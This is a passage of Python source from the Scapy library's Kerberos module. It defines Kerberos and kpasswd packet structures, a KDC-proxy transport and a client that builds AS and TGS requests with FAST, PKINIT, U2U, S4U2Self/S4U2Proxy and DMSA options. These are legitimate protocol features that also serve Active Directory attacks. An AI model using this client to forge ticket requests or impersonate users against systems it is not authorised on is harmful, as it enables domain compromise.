\"\", explicit_tag=0xA1),\n        ASN1F_optional(\n            ASN1F_STRING(\"cookie\", None, explicit_tag=0xA2),\n        ),\n    )\n\n\n_InitialContextTokens[b\"\\x05\\x01\"] = IAKERB_HEADER\n\n\n# Register for GSSAPI\n\n# Kerberos 5\n_GSSAPI_OIDS[\"1.2.840.113554.1.2.2\"] = KRB_InnerToken\n_GSSAPI_SIGNATURE_OIDS[\"1.2.840.113554.1.2.2\"] = KRB_InnerToken\n# Kerberos 5 - U2U\n_GSSAPI_OIDS[\"1.2.840.113554.1.2.2.3\"] = KRB_InnerToken\n# Kerberos 5 - IAKERB\n_GSSAPI_OIDS[\"1.3.6.1.5.2.5\"] = KRB_InnerToken\n\n\n# Entry class\n\n# RFC4120 sect 5.10\n\n\nclass Kerberos(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_CHOICE(\n        \"root\",\n        None,\n        # RFC4120\n        KRB_GSSAPI_Token,  # [APPLICATION 0]\n        KRB_Ticket,  # [APPLICATION 1]\n        KRB_Authenticator,  # [APPLICATION 2]\n        KRB_AS_REQ,  # [APPLICATION 10]\n        KRB_AS_REP,  # [APPLICATION 11]\n        KRB_TGS_REQ,  # [APPLICATION 12]\n        KRB_TGS_REP,  # [APPLICATION 13]\n        KRB_AP_REQ,  # [APPLICATION 14]\n        KRB_AP_REP,  # [APPLICATION 15]\n        # RFC4120\n        KRB_ERROR,  # [APPLICATION 30]\n    )\n\n    def mysummary(self):\n        return self.root.summary()\n\n\nbind_bottom_up(UDP, Kerberos, sport=88)\nbind_bottom_up(UDP, Kerberos, dport=88)\nbind_layers(UDP, Kerberos, sport=88, dport=88)\n\n_InitialContextTokens[b\"\\x01\\x00\"] = KRB_AP_REQ\n_InitialContextTokens[b\"\\x02\\x00\"] = KRB_AP_REP\n_InitialContextTokens[b\"\\x03\\x00\"] = KRB_ERROR\n_InitialContextTokens[b\"\\x04\\x00\"] = KRB_TGT_REQ\n_InitialContextTokens[b\"\\x04\\x01\"] = KRB_TGT_REP\n\n\n# RFC4120 sect 7.2.2\n\n\nclass KerberosTCPHeader(Packet):\n    # According to RFC 5021, first bit to 1 has a special meaning and\n    # negotiates Kerberos TCP extensions... But apart from rfc6251 no one used that\n    # https://www.iana.org/assignments/kerberos-parameters/kerberos-parameters.xhtml#kerberos-parameters-4\n    fields_desc = [LenField(\"len\", None, fmt=\"!I\")]\n\n    @classmethod\n    def tcp_reassemble(cls, data, *args, **kwargs):\n        if len(data) < 4:\n            return None\n        length = struct.unpack(\"!I\", data[:4])[0]\n        if len(data) == length + 4:\n            return cls(data)\n\n\nbind_layers(KerberosTCPHeader, Kerberos)\n\nbind_bottom_up(TCP, KerberosTCPHeader, sport=88)\nbind_layers(TCP, KerberosTCPHeader, dport=88)\n\n\n# RFC3244 sect 2\n\n\nclass KPASSWD_REQ(Packet):\n    fields_desc = [\n        ShortField(\"len\", None),\n        ShortField(\"pvno\", 0xFF80),\n        ShortField(\"apreqlen\", None),\n        PacketLenField(\n            \"apreq\", KRB_AP_REQ(), KRB_AP_REQ, length_from=lambda pkt: pkt.apreqlen\n        ),\n        ConditionalField(\n            PacketLenField(\n                \"krbpriv\",\n                KRB_PRIV(),\n                KRB_PRIV,\n                length_from=lambda pkt: pkt.len - 6 - pkt.apreqlen,\n            ),\n            lambda pkt: pkt.apreqlen != 0,\n        ),\n        ConditionalField(\n            PacketLenField(\n                \"error\", KRB_ERROR(), KRB_ERROR, length_from=lambda pkt: pkt.len - 6\n            ),\n            lambda pkt: pkt.apreqlen == 0,\n        ),\n    ]\n\n    def post_build(self, p, pay):\n        if self.len is None:\n            p = struct.pack(\"!H\", len(p)) + p[2:]\n        if self.apreqlen is None and self.krbpriv is not None:\n            p = p[:4] + struct.pack(\"!H\", len(self.apreq)) + p[6:]\n        return p + pay\n\n\nclass ChangePasswdData(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        ASN1F_STRING(\"newpasswd\", ASN1_STRING(\"\"), explicit_tag=0xA0),\n        ASN1F_optional(\n            ASN1F_PACKET(\"targname\", None, PrincipalName, explicit_tag=0xA1)\n        ),\n        ASN1F_optional(Realm(\"targrealm\", None, explicit_tag=0xA2)),\n    )\n\n\nclass KPASSWD_REP(Packet):\n    fields_desc = [\n        ShortField(\"len\", None),\n        ShortField(\"pvno\", 0x0001),\n        ShortField(\"apreplen\", None),\n        PacketLenField(\n            \"aprep\", KRB_AP_REP(), KRB_AP_REP, length_from=lambda pkt: pkt.apreplen\n        ),\n        ConditionalField(\n            PacketLenField(\n                \"krbpriv\",\n                KRB_PRIV(),\n                KRB_PRIV,\n                length_from=lambda pkt: pkt.len - 6 - pkt.apreplen,\n            ),\n            lambda pkt: pkt.apreplen != 0,\n        ),\n        ConditionalField(\n            PacketLenField(\n                \"error\", KRB_ERROR(), KRB_ERROR, length_from=lambda pkt: pkt.len - 6\n            ),\n            lambda pkt: pkt.apreplen == 0,\n        ),\n    ]\n\n    def post_build(self, p, pay):\n        if self.len is None:\n            p = struct.pack(\"!H\", len(p)) + p[2:]\n        if self.apreplen is None and self.krbpriv is not None:\n            p = p[:4] + struct.pack(\"!H\", len(self.aprep)) + p[6:]\n        return p + pay\n\n    def answers(self, other):\n        return isinstance(other, KPASSWD_REQ)\n\n\nKPASSWD_RESULTS = {\n    0: \"KRB5_KPASSWD_SUCCESS\",\n    1: \"KRB5_KPASSWD_MALFORMED\",\n    2: \"KRB5_KPASSWD_HARDERROR\",\n    3: \"KRB5_KPASSWD_AUTHERROR\",\n    4: \"KRB5_KPASSWD_SOFTERROR\",\n    5: \"KRB5_KPASSWD_ACCESSDENIED\",\n    6: \"KRB5_KPASSWD_BAD_VERSION\",\n    7: \"KRB5_KPASSWD_INITIAL_FLAG_NEEDED\",\n}\n\n\nclass KPasswdRepData(Packet):\n    fields_desc = [\n        ShortEnumField(\"resultCode\", 0, KPASSWD_RESULTS),\n        StrField(\"resultString\", \"\"),\n    ]\n\n\nclass Kpasswd(Packet):\n    @classmethod\n    def dispatch_hook(cls, _pkt=None, *args, **kargs):\n        if _pkt and len(_pkt) >= 4:\n            if _pkt[2:4] == b\"\\xff\\x80\":\n                return KPASSWD_REQ\n            elif _pkt[2:4] == b\"\\x00\\x01\":\n                asn1_tag = BER_id_dec(_pkt[6:8])[0] & 0x1F\n                if asn1_tag == 14:\n                    return KPASSWD_REQ\n                elif asn1_tag == 15:\n                    return KPASSWD_REP\n        return KPASSWD_REQ\n\n\nbind_bottom_up(UDP, Kpasswd, sport=464)\nbind_bottom_up(UDP, Kpasswd, dport=464)\nbind_top_down(UDP, KPASSWD_REQ, sport=464, dport=464)\nbind_top_down(UDP, KPASSWD_REP, sport=464, dport=464)\n\n\nclass KpasswdTCPHeader(Packet):\n    fields_desc = [LenField(\"len\", None, fmt=\"!I\")]\n\n    @classmethod\n    def tcp_reassemble(cls, data, *args, **kwargs):\n        if len(data) < 4:\n            return None\n        length = struct.unpack(\"!I\", data[:4])[0]\n        if len(data) == length + 4:\n            return cls(data)\n\n\nbind_layers(KpasswdTCPHeader, Kpasswd)\n\nbind_bottom_up(TCP, KpasswdTCPHeader, sport=464)\nbind_layers(TCP, KpasswdTCPHeader, dport=464)\n\n# [MS-KKDCP]\n\n\nclass _KerbMessage_Field(ASN1F_STRING_PacketField):\n    def m2i(self, pkt, s):\n        val = super(_KerbMessage_Field, self).m2i(pkt, s)\n        if not val[0].val:\n            return val\n        return KerberosTCPHeader(val[0].val, _underlayer=pkt), val[1]\n\n\nclass KDC_PROXY_MESSAGE(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        _KerbMessage_Field(\"kerbMessage\", \"\", explicit_tag=0xA0),\n        ASN1F_optional(Realm(\"targetDomain\", None, explicit_tag=0xA1)),\n        ASN1F_optional(\n            ASN1F_FLAGS(\n                \"dclocatorHint\",\n                None,\n                FlagsField(\"\", 0, -32, _NV_VERSION).names,\n                explicit_tag=0xA2,\n            )\n        ),\n    )\n\n\nclass KdcProxySocket(SuperSocket):\n    \"\"\"\n    This is a wrapper of a HTTP_Client that does KKDCP proxying,\n    disguised as a SuperSocket to be compatible with the rest of the KerberosClient.\n    \"\"\"\n\n    def __init__(\n        self,\n        url,\n        targetDomain,\n        dclocatorHint=None,\n        no_check_certificate=False,\n        **kwargs,\n    ):\n        self.url = url\n        self.targetDomain = targetDomain\n        self.dclocatorHint = dclocatorHint\n        self.no_check_certificate = no_check_certificate\n        self.queue = deque()\n        super(KdcProxySocket, self).__init__(**kwargs)\n\n    def recv(self, x=None):\n        return self.queue.popleft()\n\n    def send(self, x, **kwargs):\n        from scapy.layers.http import HTTP_Client\n\n        cli = HTTP_Client(no_check_certificate=self.no_check_certificate)\n        try:\n            # sr it via the web client\n            resp = cli.request(\n                self.url,\n                Method=\"POST\",\n                data=bytes(\n                    # Wrap request in KDC_PROXY_MESSAGE\n                    KDC_PROXY_MESSAGE(\n                        kerbMessage=bytes(x),\n                        targetDomain=ASN1_GENERAL_STRING(self.targetDomain.encode()),\n                        # dclocatorHint is optional\n                        dclocatorHint=self.dclocatorHint,\n                    )\n                ),\n                http_headers={\n                    \"Cache-Control\": \"no-cache\",\n                    \"Pragma\": \"no-cache\",\n                    \"User-Agent\": \"kerberos/1.0\",\n                },\n            )\n            if resp and conf.raw_layer in resp:\n                # Parse the payload\n                resp = KDC_PROXY_MESSAGE(resp.load).kerbMessage\n                # We have an answer, queue it.\n                self.queue.append(resp)\n            else:\n                raise EOFError\n        finally:\n            cli.close()\n\n    @staticmethod\n    def select(sockets, remain=None):\n        return [x for x in sockets if isinstance(x, KdcProxySocket) and x.queue]\n\n\n# Util functions\n\n\nclass PKINIT_KEX_METHOD(IntEnum):\n    DIFFIE_HELLMAN = 1\n    PUBLIC_KEY = 2\n\n\nclass KerberosClient(Automaton):\n    \"\"\"\n    Implementation of a Kerberos client.\n\n    Prefer to use the ``krb_as_req`` and ``krb_tgs_req`` functions which\n    wrap this client.\n\n    Common parameters:\n\n    :param mode: the mode to use for the client (default: AS_REQ).\n    :param ip: the IP of the DC (default: discovered by dclocator)\n    :param upn: the UPN of the client.\n    :param password: the password of the client.\n    :param key: the Key of the client (instead of the password)\n    :param realm: the realm of the domain. (default: from the UPN)\n    :param host: the name of the host doing the request\n    :param port: the Kerberos port (default 88)\n    :param timeout: timeout of each request (default 5)\n\n    Advanced common parameters:\n\n    :param kdc_proxy: specify a KDC proxy url\n    :param kdc_proxy_no_check_certificate: do not check the KDC proxy certificate\n    :param fast: use FAST armoring\n    :param armor_ticket: an external ticket to use for armoring\n    :param armor_ticket_upn: the UPN of the client of the armoring ticket\n    :param armor_ticket_skey: the session Key object of the armoring ticket\n    :param etypes: specify the list of encryption types to support\n\n    AS-REQ only:\n\n    :param x509: a X509 certificate to use for PKINIT AS_REQ or S4U2Proxy\n    :param x509key: the private key of the X509 certificate (in an AS_REQ)\n    :param ca: the CA list that verifies the peer (KDC) certificate. Typically\n        only the ROOT CA is required.\n    :param p12: (optional) use a pfx/p12 instead of x509 and x509key. In this case,\n        'password' is the password of the p12.\n    :param pkinit_kex_method: (advanced) whether to use the DIFFIE-HELLMAN method or the\n        Certificate based one for PKINIT.\n\n    TGS-REQ only:\n\n    :param spn: the SPN to request in a TGS-REQ\n    :param ticket: the existing ticket to use in a TGS-REQ\n    :param renew: sets the Renew flag in a TGS-REQ\n    :param additional_tickets: in U2U or S4U2Proxy, the additional tickets\n    :param u2u: sets the U2U flag\n    :param for_user: the UPN of another user in TGS-REQ, to do a S4U2Self\n    :param s4u2proxy: sets the S4U2Proxy flag\n    :param dmsa: sets the 'unconditional delegation' mode for DMSA TGT retrieval\n    \"\"\"\n\n    RES_AS_MODE = namedtuple(\n        \"AS_Result\", [\"asrep\", \"sessionkey\", \"kdcrep\", \"upn\", \"pa_type\"]\n    )\n    RES_TGS_MODE = namedtuple(\"TGS_Result\", [\"tgsrep\", \"sessionkey\", \"kdcrep\", \"upn\"])\n\n    class MODE(IntEnum):\n        AS_REQ = 0\n        TGS_REQ = 1\n        GET_SALT = 2\n\n    def __init__(\n        self,\n        mode=MODE.AS_REQ,\n        ip: Optional[str] = None,\n        upn: Optional[str] = None,\n        password: Optional[str] = None,\n        key: Optional[\"Key\"] = None,\n        realm: Optional[str] = None,\n        x509: Optional[Union[Cert, str]] = None,\n        x509key: Optional[Union[PrivKey, str]] = None,\n        ca: Optional[Union[CertTree, str]] = None,\n        p12: Optional[str] = None,\n        spn: Optional[str] = None,\n        ticket: Optional[KRB_Ticket] = None,\n        host: Optional[str] = None,\n        renew: bool = False,\n        additional_tickets: List[KRB_Ticket] = [],\n        u2u: bool = False,\n        for_user: Optional[str] = None,\n        s4u2proxy: bool = False,\n        dmsa: bool = False,\n        kdc_proxy: Optional[str] = None,\n        kdc_proxy_no_check_certificate: bool = False,\n        fast: bool = False,\n        armor_ticket: KRB_Ticket = None,\n        armor_ticket_upn: Optional[str] = None,\n        armor_ticket_skey: Optional[\"Key\"] = None,\n        key_list_req: List[\"EncryptionType\"] = [],\n        etypes: Optional[List[\"EncryptionType\"]] = None,\n        pkinit_kex_method: PKINIT_KEX_METHOD = PKINIT_KEX_METHOD.DIFFIE_HELLMAN,\n        port: int = 88,\n        timeout: int = 5,\n        verbose: bool = True,\n        **kwargs,\n    ):\n        import scapy.libs.rfc3961  # Trigger error if any  # noqa: F401\n        from scapy.layers.ldap import dclocator\n\n        if not upn:\n            raise ValueError(\"Invalid upn\")\n        if not spn:\n            raise ValueError(\"Invalid spn\")\n        if realm is None:\n            if mode in [self.MODE.AS_REQ, self.MODE.GET_SALT]:\n                _, realm = _parse_upn(upn)\n            elif mode == self.MODE.TGS_REQ:\n                _, realm = _parse_spn(spn)\n                if not realm and ticket:\n                    # if no realm is specified, but there's a ticket, take the realm\n                    # of the ticket.\n                    realm = ticket.realm.val.decode()\n            else:\n                raise ValueError(\"Invalid realm\")\n\n        # PKINIT checks\n        if p12 is not None:\n            # password should be None or bytes\n            if isinstance(password, str):\n                password = password.encode()\n\n            # Read p12/pfx. If it fails and no password was provided, prompt and\n            # retry once.\n            while True:\n                try:\n                    with open(p12, \"rb\") as fd:\n                        x509key, x509, _ = pkcs12.load_key_and_certificates(\n                            fd.read(),\n                            password=password,\n                        )\n                        break\n                except ValueError as ex:\n                    if password is None:\n                        # We don't have a password. Prompt and retry.\n                        try:\n                            from prompt_toolkit import prompt\n\n                            password = prompt(\n                                \"Enter PKCS12 password: \", is_password=True\n                            )\n                        except ImportError:\n                            password = input(\"Enter PKCS12 password: \")\n                        password = password.encode()\n                    else:\n                        raise ex\n\n            x509 = Cert(cryptography_obj=x509)\n            x509key = PrivKey(cryptography_obj=x509key)\n        elif x509 and x509key:\n            if not isinstance(x509, Cert):\n                x509 = Cert(x509)\n            if not isinstance(x509key, PrivKey):\n                x509key = PrivKey(x509key)\n        if ca and not isinstance(ca, CertList):\n            ca = CertList(ca)\n\n        if mode in [self.MODE.AS_REQ, self.MODE.GET_SALT]:\n            if not host:\n                raise ValueError(\"Invalid host\")\n            if x509 is not None and (not x509key or not ca):\n                raise ValueError(\"Must provide both 'x509', 'x509key' and 'ca' !\")\n        elif mode == self.MODE.TGS_REQ:\n            if not ticket:\n                raise ValueError(\"Invalid ticket\")\n\n        if not ip and not kdc_proxy:\n            # No KDC IP provided. Find it by querying the DNS\n            ip = dclocator(\n                realm,\n                timeout=timeout,\n                # Use connect mode instead of ldap for compatibility\n                # with MIT kerberos servers\n                mode=\"connect\",\n                port=port,\n                debug=kwargs.get(\"debug\", 0),\n            ).ip\n\n        # Armoring checks\n        if fast:\n            if mode == self.MODE.AS_REQ:\n                # Requires an external ticket\n                if not armor_ticket or not armor_ticket_upn or not armor_ticket_skey:\n                    raise ValueError(\n                        \"Implicit armoring is not possible on AS-REQ: \"\n                        \"please provide the 3 required armor arguments\"\n                    )\n            elif mode == self.MODE.TGS_REQ:\n                if armor_ticket and (not armor_ticket_upn or not armor_ticket_skey):\n                    raise ValueError(\n                        \"Cannot specify armor_ticket without armor_ticket_{upn,skey}\"\n                    )\n\n        if mode == self.MODE.GET_SALT:\n            if etypes is not None:\n                raise ValueError(\"Cannot specify etypes in GET_SALT mode !\")\n\n            etypes = [\n                EncryptionType.AES256_CTS_HMAC_SHA1_96,\n                EncryptionType.AES128_CTS_HMAC_SHA1_96,\n            ]\n        elif etypes is None:\n            etypes = [\n                EncryptionType.AES256_CTS_HMAC_SHA1_96,\n                EncryptionType.AES128_CTS_HMAC_SHA1_96,\n                EncryptionType.RC4_HMAC,\n                EncryptionType.RC4_HMAC_EXP,\n                EncryptionType.DES_CBC_MD5,\n            ]\n        self.etypes = etypes\n\n        self.mode = mode\n\n        self.result = None  # Result\n\n        self._timeout = timeout\n        self._verbose = verbose\n        self._ip = ip\n        self._port = port\n        self.kdc_proxy = kdc_proxy\n        self.kdc_proxy_no_check_certificate = kdc_proxy_no_check_certificate\n\n        if self.mode in [self.MODE.AS_REQ, self.MODE.GET_SALT]:\n            self.host = host.upper()\n            self.password = password and bytes_encode(password)\n        self.spn = spn\n        self.upn = upn\n        self.realm = realm.upper()\n        self.x509 = x509\n        self.x509key = x509key\n        self.pkinit_kex_method = pkinit_kex_method\n        self.ticket = ticket\n        self.fast = fast\n        self.armor_ticket = armor_ticket\n        self.armor_ticket_upn = armor_ticket_upn\n        self.armor_ticket_skey = armor_ticket_skey\n        self.key_list_req = key_list_req\n        self.renew = renew\n        self.additional_tickets = additional_tickets  # U2U + S4U2Proxy\n        self.u2u = u2u  # U2U\n        self.for_user = for_user  # FOR-USER\n        self.s4u2proxy = s4u2proxy  # S4U2Proxy\n        self.dmsa = dmsa  # DMSA\n        self.key = key\n        self.subkey = None  # In the AP-REQ authenticator\n        self.replykey = None  # Key used for reply\n        # See RFC4120 - sect 7.2.2\n        # This marks whether we should follow-up after an EOF\n        self.should_followup = False\n        # This marks that we sent a FAST-req and are awaiting for an answer\n        self.fast_req_sent = False\n        # Session parameters\n        self.pre_auth = False\n        self.pa_type = None  # preauth-type that's used\n        self.fast_rep = None\n        self.fast_error = None\n        self.fast_skey = None  # The random subkey used for fast\n        self.fast_armorkey = None  # The armor key\n        self.fxcookie = None\n        self.pkinit_dh_key = None\n        if ca is not None:\n            self.pkinit_cms = CMS_Engine(ca)\n        else:\n            self.pkinit_cms = None\n\n        sock = self._connect()\n        super(KerberosClient, self).__init__(\n            sock=sock,\n            **kwargs,\n        )\n\n    def _connect(self):\n        \"\"\"\n        Internal function to bind a socket to the DC.\n        This also takes care of an eventual KDC proxy.\n        \"\"\"\n        if self.kdc_proxy:\n            # If we are using a KDC Proxy, wrap the socket with the KdcProxySocket,\n            # that takes our messages and transport them over HTTP.\n            sock = KdcProxySocket(\n                url=self.kdc_proxy,\n                targetDomain=self.realm,\n                no_check_certificate=self.kdc_proxy_no_check_certificate,\n            )\n        else:\n            sock = socket.socket()\n            sock.settimeout(self._timeout)\n            sock.connect((self._ip, self._port))\n            sock = StreamSocket(sock, KerberosTCPHeader)\n        return sock\n\n    def send(self, pkt):\n        \"\"\"\n        Sends a wrapped Kerberos packet\n        \"\"\"\n        super(KerberosClient, self).send(KerberosTCPHeader() / pkt)\n\n    def _show_krb_error(self, error):\n        \"\"\"\n        Displays a Kerberos error\n        \"\"\"\n        if error.root.errorCode == 0x07:\n            # KDC_ERR_S_PRINCIPAL_UNKNOWN\n            if (\n                isinstance(error.root.eData, KERB_ERROR_UNK)\n                and error.root.eData.dataType == -128\n            ):\n                log_runtime.error(\n                    \"KerberosSSP: KDC requires U2U for SPN '%s' !\" % error.root.getSPN()\n                )\n            else:\n                log_runtime.error(\n                    \"KerberosSSP: KDC_ERR_S_PRINCIPAL_UNKNOWN for SPN '%s'\"\n                    % error.root.getSPN()\n                )\n        else:\n            log_runtime.error(error.root.sprintf(\"KerberosSSP: Received %errorCode% !\"))\n            if self._verbose:\n                error.show()\n\n    def _base_kdc_req(self, now_time):\n        \"\"\"\n        Return the KRB_KDC_REQ_BODY used in both AS-REQ and TGS-REQ\n        \"\"\"\n        kdcreq = KRB_KDC_REQ_BODY(\n            etype=[ASN1_INTEGER(x) for x in self.etypes],\n            additionalTickets=None,\n            # Windows default\n            kdcOptions=\"forwardable+renewable+canonicalize+renewable-ok\",\n            cname=None,\n            realm=ASN1_GENERAL_STRING(self.realm),\n            till=ASN1_GENERALIZED_TIME(now_time + timedelta(hours=10)),\n            rtime=ASN1_GENERALIZED_TIME(now_time + timedelta(hours=10)),\n            nonce=ASN1_INTEGER(RandNum(0, 0x7FFFFFFF)._fix()),\n        )\n        if self.renew:\n            kdcreq.kdcOptions.set(30, 1)  # set 'renew' (bit 30)\n        return kdcreq\n\n    def calc_fast_armorkey(self):\n        \"\"\"\n        Calculate and return the FAST armorkey\n        \"\"\"\n        # Generate a random key of the same type than ticket_skey\n        if self.mode == self.MODE.AS_REQ:\n            # AS-REQ mode\n            self.fast_skey = Key.new_random_key(self.armor_ticket_skey.etype)\n\n            self.fast_armorkey = KRB_FX_CF2(\n                self.fast_skey,\n                self.armor_ticket_skey,\n                b\"subkeyarmor\",\n                b\"ticketarmor\",\n            )\n        elif self.mode == self.MODE.TGS_REQ:\n            # TGS-REQ: 2 cases\n\n            self.subkey = Key.new_random_key(self.key.etype)\n\n            if not self.armor_ticket:\n                # Case 1: Implicit armoring\n                self.fast_armorkey = KRB_FX_CF2(\n                    self.subkey,\n                    self.key,\n                    b\"subkeyarmor\",\n                    b\"ticketarmor\",\n                )\n            else:\n                # Case 2: Explicit armoring, in \"Compounded Identity mode\".\n                # This is a Microsoft extension: see [MS-KILE] sect 3.3.5.7.4\n\n                self.fast_skey = Key.new_random_key(self.armor_ticket_skey.etype)\n\n                explicit_armor_key = KRB_FX_CF2(\n                    self.fast_skey,\n                    self.armor_ticket_skey,\n                    b\"subkeyarmor\",\n                    b\"ticketarmor\",\n                )\n\n                self.fast_armorkey = KRB_FX_CF2(\n                    explicit_armor_key,\n                    self.subkey,\n                    b\"explicitarmor\",\n                    b\"tgsarmor\",\n                )\n\n    def _fast_wrap(self, kdc_req, padata, now_time, pa_tgsreq_ap=None):\n        \"\"\"\n        :param kdc_req: the KDC_REQ_BODY to wrap\n        :param padata: the list of PADATA to wrap\n        :param now_time: the current timestamp used by the client\n        \"\"\"\n\n        # Create the PA Fast request wrapper\n        pafastreq = PA_FX_FAST_REQUEST(\n            armoredData=KrbFastArmoredReq(\n                reqChecksum=Checksum(),\n                encFastReq=EncryptedData(),\n            )\n        )\n\n        if self.armor_ticket is not None:\n            # EXPLICIT mode only (AS-REQ or TGS-REQ)\n\n            pafastreq.armoredData.armor = KrbFastArmor(\n                armorType=1,  # FX_FAST_ARMOR_AP_REQUEST\n                armorValue=KRB_AP_REQ(\n                    ticket=self.armor_ticket,\n                    authenticator=EncryptedData(),\n                ),\n            )\n\n            # Populate the authenticator. Note the client is the wrapper\n            _, crealm = _parse_upn(self.armor_ticket_upn)\n            authenticator = KRB_Authenticator(\n                crealm=ASN1_GENERAL_STRING(crealm),\n                cname=PrincipalName.fromUPN(self.armor_ticket_upn),\n                cksum=None,\n                ctime=ASN1_GENERALIZED_TIME(now_time),\n                cusec=ASN1_INTEGER(0),\n                subkey=EncryptionKey.fromKey(self.fast_skey),\n                seqNumber=ASN1_INTEGER(0),\n                encAuthorizationData=None,\n            )\n            pafastreq.armoredData.armor.armorValue.authenticator.encrypt(\n                self.armor_ticket_skey,\n                authenticator,\n            )\n\n        # Sign the fast request wrapper\n        if self.mode == self.MODE.TGS_REQ:\n            # \"for a TGS-REQ, it is performed over the type AP-\n            # REQ in the PA-TGS-REQ padata of the TGS request\"\n            pafastreq.armoredData.reqChecksum.make(\n                self.fast_armorkey,\n                bytes(pa_tgsreq_ap),\n            )\n        else:\n            # \"For an AS-REQ, it is performed over the type KDC-REQ-\n            # BODY for the req-body field of the KDC-REQ structure of the\n            # containing message\"\n            pafastreq.armoredData.reqChecksum.make(\n                self.fast_armorkey,\n                bytes(kdc_req),\n            )\n\n        # Build and encrypt the Fast request\n        fastreq = KrbFastReq(\n            padata=padata,\n            reqBody=kdc_req,\n        )\n        pafastreq.armoredData.encFastReq.encrypt(\n            self.fast_armorkey,\n            fastreq,\n        )\n\n        # Return the PADATA\n        return PADATA(\n            padataType=ASN1_INTEGER(136),  # PA-FX-FAST\n            padataValue=pafastreq,\n        )\n\n    def as_req(self):\n        now_time = datetime.now(timezone.utc).replace(microsecond=0)\n\n        # 1. Build and populate KDC-REQ\n        kdc_req = self._base_kdc_req(now_time=now_time)\n        kdc_req.addresses = [\n            HostAddress(\n                addrType=ASN1_INTEGER(20),  # Netbios\n                address=ASN1_STRING(self.host.ljust(16, \" \")),\n            )\n        ]\n        kdc_req.cname = PrincipalName.fromUPN(self.upn)\n        kdc_req.sname = PrincipalName.fromSPN(self.spn)\n\n        # 2. Build the list of PADATA\n        padata = [\n            PADATA(\n                padataType=ASN1_INTEGER(128),  # PA-PAC-REQUEST\n                padataValue=PA_PAC_REQUEST(includePac=ASN1_BOOLEAN(-1)),\n            )\n        ]\n\n        # Cookie support\n        if self.fxcookie:\n            padata.insert(\n                0,\n                PADATA(\n                    padataType=133,  # PA-FX-COOKIE\n                    padataValue=self.fxcookie,\n                ),\n            )\n\n        # FAST\n        if self.fast:\n            # Calculate the armor key\n            self.calc_fast_armorkey()\n\n            # [MS-KILE] sect 3.2.5.5\n            # \"When sending the AS-REQ, add a PA-PAC-OPTIONS [167]\"\n            padata.append(\n                PADATA(\n                    padataType=ASN1_INTEGER(167),  # PA-PAC-OPTIONS\n                    padataValue=PA_PAC_OPTIONS(\n                        options=\"Claims\",\n                    ),\n                )\n            )\n\n        # Pre-auth is requested\n        if self.pre_auth:\n            if self.x509:\n                # Special PKINIT (RFC4556) factor\n\n                # RFC4556 - 3.2.1. Generation of Client Request\n\n                # RFC4556 - 3.2.1 - (5) AuthPack\n                authpack = KRB_AuthPack(\n                    pkAuthenticator=KRB_PKAuthenticator(\n                        ctime=ASN1_GENERALIZED_TIME(now_time),\n                        cusec=ASN1_INTEGER(0),\n                        nonce=ASN1_INTEGER(RandNum(0, 0x7FFFFFFF)._fix()),\n                    ),\n                    clientPublicValue=None,  # Used only in DH mode\n                    supportedCMSTypes=None,\n                    clientDHNonce=None,\n                    supportedKDFs=None,\n                )\n\n                if self.pkinit_kex_method == PKINIT_KEX_METHOD.DIFFIE_HELLMAN:\n                    # RFC4556 - 3.2.3.1. Diffie-Hellman Key Exchange\n\n                    # We use modp2048\n                    dh_parameters = _ffdh_groups[\"modp2048\"][0]\n                    self.pkinit_dh_key = dh_parameters.generate_private_key()\n                    numbers = dh_parameters.parameter_numbers()\n\n                    # We can't use 'public_bytes' because it's the PKCS#3 format,\n                    # and we want the DomainParameters format.\n                    authpack.clientPublicValue = X509_SubjectPublicKeyInfo(\n                        signatureAlgorithm=X509_AlgorithmIdentifier(\n                            algorithm=ASN1_OID(\"dhpublicnumber\"),\n                            parameters=DomainParameters(\n                                p=ASN1_INTEGER(numbers.p),\n                                g=ASN1_INTEGER(numbers.g),\n                                # q: see ERRATA 1 of RFC4556\n                                q=ASN1_INTEGER(numbers.q or (numbers.p - 1) // 2),\n                            ),\n                        ),\n                        subjectPublicKey=DHPublicKey(\n                            y=ASN1_INTEGER(\n                                self.pkinit_dh_key.public_key().public_numbers().y\n                            ),\n                        ),\n                    )\n                elif self.pkinit_kex_method == PKINIT_KEX_METHOD.PUBLIC_KEY:\n                    # RFC4556 - 3.2.3.2. - Public Key Encryption\n\n                    # Set supportedCMSTypes, supportedKDFs\n                    authpack.supportedCMSTypes = [\n                        X509_AlgorithmIdentifier(algorithm=ASN1_OID(x))\n                        for x in [\n                            \"ecdsa-with-SHA512\",\n                            \"ecdsa-with-SHA256\",\n                            \"sha512WithRSAEncryption\",\n                            \"sha256WithRSAEncryption\",\n                        ]\n                    ]\n                    authpack.supportedKDFs = [\n                        KDFAlgorithmId(kdfId=ASN1_OID(x))\n                        for x in [\n                            \"id-pkinit-kdf-sha256\",\n                            \"id-pkinit-kdf-sha1\",\n                            \"id-pkinit-kdf-sha512\",\n                        ]\n                    ]\n\n                    # XXX UNFINISHED\n                    raise NotImplementedError\n                else:\n                    raise ValueError\n\n                # Populate paChecksum and PAChecksum2\n                authpack.pkAuthenticator.make_checksum(bytes(kdc_req))\n\n                # Sign the AuthPack\n                signedAuthpack = self.pkinit_cms.sign(\n                    authpack,\n                    ASN1_OID(\"id-pkinit-authData\"),\n                    self.x509,\n                    self.x509key,\n                )\n\n                # Build PA-DATA\n                self.pa_type = 16  # PA-PK-AS-REQ\n                pafactor = PADATA(\n                    padataType=self.pa_type,\n                    padataValue=PA_PK_AS_REQ(\n                        signedAuthpack=signedAuthpack,\n                        trustedCertifiers=None,\n                        kdcPkId=None,\n                    ),\n                )\n            else:\n                # Key-based factor\n\n                if self.fast:\n                    # Special FAST factor\n                    # RFC6113 sect 5.4.6\n\n                    # Calculate the 'challenge key'\n                    ts_key = KRB_FX_CF2(\n                        self.fast_armorkey,\n                        self.key,\n                        b\"clientchallengearmor\",\n                        b\"challengelongterm\",\n                    )\n                    self.pa_type = 138  # PA-ENCRYPTED-CHALLENGE\n                    pafactor = PADATA(\n                        padataType=self.pa_type,\n                        padataValue=EncryptedData(),\n                    )\n                else:\n                    # Usual 'timestamp' factor\n                    ts_key = self.key\n                    self.pa_type = 2  # PA-ENC-TIMESTAMP\n                    pafactor = PADATA(\n                        padataType=self.pa_type,\n                        padataValue=EncryptedData(),\n                    )\n                pafactor.padataValue.encrypt(\n                    ts_key,\n                   